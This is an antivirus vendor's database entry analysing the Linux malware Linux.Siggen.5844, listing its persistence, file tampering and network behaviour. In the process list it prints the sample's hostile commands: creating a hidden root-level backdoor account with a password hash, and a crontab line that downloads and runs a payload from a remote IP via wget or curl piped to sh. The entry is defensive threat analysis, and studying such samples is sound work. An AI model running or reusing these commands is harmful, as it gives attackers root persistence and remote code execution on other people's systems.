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Linux.Siggen.5844

Aggiunto al database dei virus Dr.Web: 2023-10-13

La descrizione è stata aggiunta:

Technical Information

To ensure autorun and distribution:
Creates or modifies the following files:
  • /etc/cron.hourly/0
  • /etc/crontab
Malicious functions:
Removes itself
Gains root privileges
Launches itself as a daemon
Gets access to SSH keys
  • /root/.ssh/authorized_keys
Substitutes application name for:
  • -sh
Launches processes:
  • crontab -
  • useradd -u 0 -g 0 -o -d / vmhelper -p $1$AC.gxhwV$bLNJMPnrfQFOb3nRfb2LU0
  • /bin/sh -c useradd -u 0 -g 0 -o -d / vmhelper -p \x27$1$AC.gxhwV$bLNJMPnrfQFOb3nRfb2LU0\x27 >/dev/null 2>&1
  • /bin/sh -c echo -e \x22*/3 * * * * root (wget http://194.180.48.105/x86 -O- || curl http://194.180.48.105/x86)|sh\x22 | crontab -
Kills the following processes:
  • -sh
Performs operations with the file system:
Modifies file access rights:
  • /etc/passwd+
  • /etc/shadow+
  • /etc/subuid+
  • /etc/subgid+
Modifies file owner:
  • /etc/passwd+
  • /etc/shadow+
  • /etc/subuid+
  • /etc/subgid+
Creates folders:
  • /root/.ssh
Deletes folders:
  • /root/.ssh
Creates symlinks:
  • /etc/passwd.lock
  • /etc/group.lock
  • /etc/gshadow.lock
  • /etc/subuid.lock
  • /etc/subgid.lock
  • /etc/shadow.lock
Creates or modifies files:
  • <SAMPLE_FULL_PATH>
  • /var/spool/cron/crontabs/tmp.sOC2Aw
  • /etc/.pwd.lock
  • /etc/passwd.824
  • /etc/group.824
  • /etc/gshadow.824
  • /etc/subuid.824
  • /etc/subgid.824
  • /etc/shadow.824
  • /etc/passwd-
  • /etc/passwd+
  • /etc/shadow-
  • /etc/shadow+
  • /etc/subuid-
  • /etc/subuid+
  • /etc/subgid-
  • /etc/subgid+
  • /var/spool/cron/crontabs/tmp.v8SpJh
  • /var/spool/cron/crontabs/tmp.qhMqOk
  • /var/spool/cron/crontabs/tmp.7vSh0j
  • /var/spool/cron/crontabs/tmp.BlMgw7
  • /var/spool/cron/crontabs/tmp.1Ilbib
  • /var/spool/cron/crontabs/tmp.Ffb1U7
  • /var/spool/cron/crontabs/tmp.LoEoOj
  • /var/spool/cron/crontabs/tmp.IOsplc
  • /var/spool/cron/crontabs/tmp.ppxjBf
  • /var/spool/cron/crontabs/tmp.r0gRXf
  • /var/spool/cron/crontabs/tmp.6N76Ok
  • /var/spool/cron/crontabs/tmp.MIUQIh
  • /var/spool/cron/crontabs/tmp.g1qxmj
  • /var/spool/cron/crontabs/tmp.vCzWmg
  • /var/spool/cron/crontabs/tmp.18NvB7
  • /var/spool/cron/crontabs/tmp.3fKEcX
  • /var/spool/cron/crontabs/tmp.FnYPAJ
  • /var/spool/cron/crontabs/tmp.Z3FBpy
Deletes files:
  • /var/spool/cron/crontabs/tmp.sOC2Aw
  • /etc/passwd.824
  • /etc/group.824
  • /etc/gshadow.824
  • /etc/subuid.824
  • /etc/subgid.824
  • /etc/shadow.824
  • /etc/shadow.lock
  • /etc/passwd.lock
  • /etc/group.lock
  • /etc/gshadow.lock
  • /etc/subuid.lock
  • /etc/subgid.lock
  • /var/spool/cron/crontabs/tmp.v8SpJh
  • /root/.ssh/authorized_keys
  • /var/spool/cron/crontabs/tmp.qhMqOk
  • /var/spool/cron/crontabs/tmp.7vSh0j
  • /var/spool/cron/crontabs/tmp.BlMgw7
  • /var/spool/cron/crontabs/tmp.1Ilbib
  • /var/spool/cron/crontabs/tmp.Ffb1U7
  • /var/spool/cron/crontabs/tmp.LoEoOj
  • /var/spool/cron/crontabs/tmp.IOsplc
  • /var/spool/cron/crontabs/tmp.ppxjBf
  • /var/spool/cron/crontabs/tmp.r0gRXf
  • /var/spool/cron/crontabs/tmp.6N76Ok
  • /var/spool/cron/crontabs/tmp.MIUQIh
  • /var/spool/cron/crontabs/tmp.g1qxmj
  • /var/spool/cron/crontabs/tmp.vCzWmg
  • /var/spool/cron/crontabs/tmp.18NvB7
  • /var/spool/cron/crontabs/tmp.3fKEcX
  • /var/spool/cron/crontabs/tmp.FnYPAJ
  • /var/spool/cron/crontabs/tmp.Z3FBpy
Locks files:
  • /etc/cron.hourly/0
  • /etc/crontab
  • /etc/passwd
  • /etc/shadow
  • /etc/ssh/sshd_config
  • /root/.ssh/authorized_keys
  • /root/.ssh
Changes time of creation/access/modification of files:
  • /etc/passwd-
  • /etc/shadow-
  • /etc/subuid-
  • /etc/subgid-
Network activity:
Awaits incoming connections on ports:
  • 127.0.0.1:5616
Establishes connection:
  • 8.#.8.8:53
  • 19#.##0.48.105:1111
Sends data to the following servers:
  • 10#.###.122.127:3478
Other:
Collects CPU information

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